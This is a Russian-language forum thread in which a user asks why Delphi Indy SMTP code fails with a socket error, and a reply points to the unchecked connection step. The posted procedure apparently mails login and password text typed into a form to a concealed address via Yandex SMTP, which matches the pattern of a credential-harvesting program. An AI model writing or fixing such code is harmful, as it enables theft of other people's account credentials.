Доброго времени суток. Столкнулся с проблемой, никак не могу понять, с чем это связано. На форуме ничего вразумительного не нашел, гугль тоже не особо прояснил. Дело в том, что при попытке отправить почту выбивает Socket error #0. Фаерволы\антивирусы\прочее отключено, смтп сервер яндекса пингуется. Может быть поможет кто.. Собственно, код отправки: Code: procedure TMainForm.SendClick(Sender: TObject); begin idSmtp.Host:='smtp.yandex.ru'; idSmtp.UserName:='***'; idSmtp.Password :='***'; idSmtp.AuthenticationType:=atLogin; if not idSmtp.Connected then idSmtp.Connect; idMessage.Body.Add('Login = ' +Log.Text+ 'Password - ' +Pass.text); idMessage.From.Address:='***'; idMessage.Subject:='***'; idMessage.Recipients.EMailAddresses:='***'; idSmtp.Send(idMessage); idSmtp.Disconnect; end;
Я на делфи не пишу, однако простая строка "if not idSmtp.Connected then idSmtp.Connect;" смущает. В принципе все правильно, однако кто сказал, что Connect отработает правильно? Если, к примеру логин/пароль окажется неправильным, то и коннекта не будет. Соответственно и все, что ниже будет невалидным. И улетит по исключению.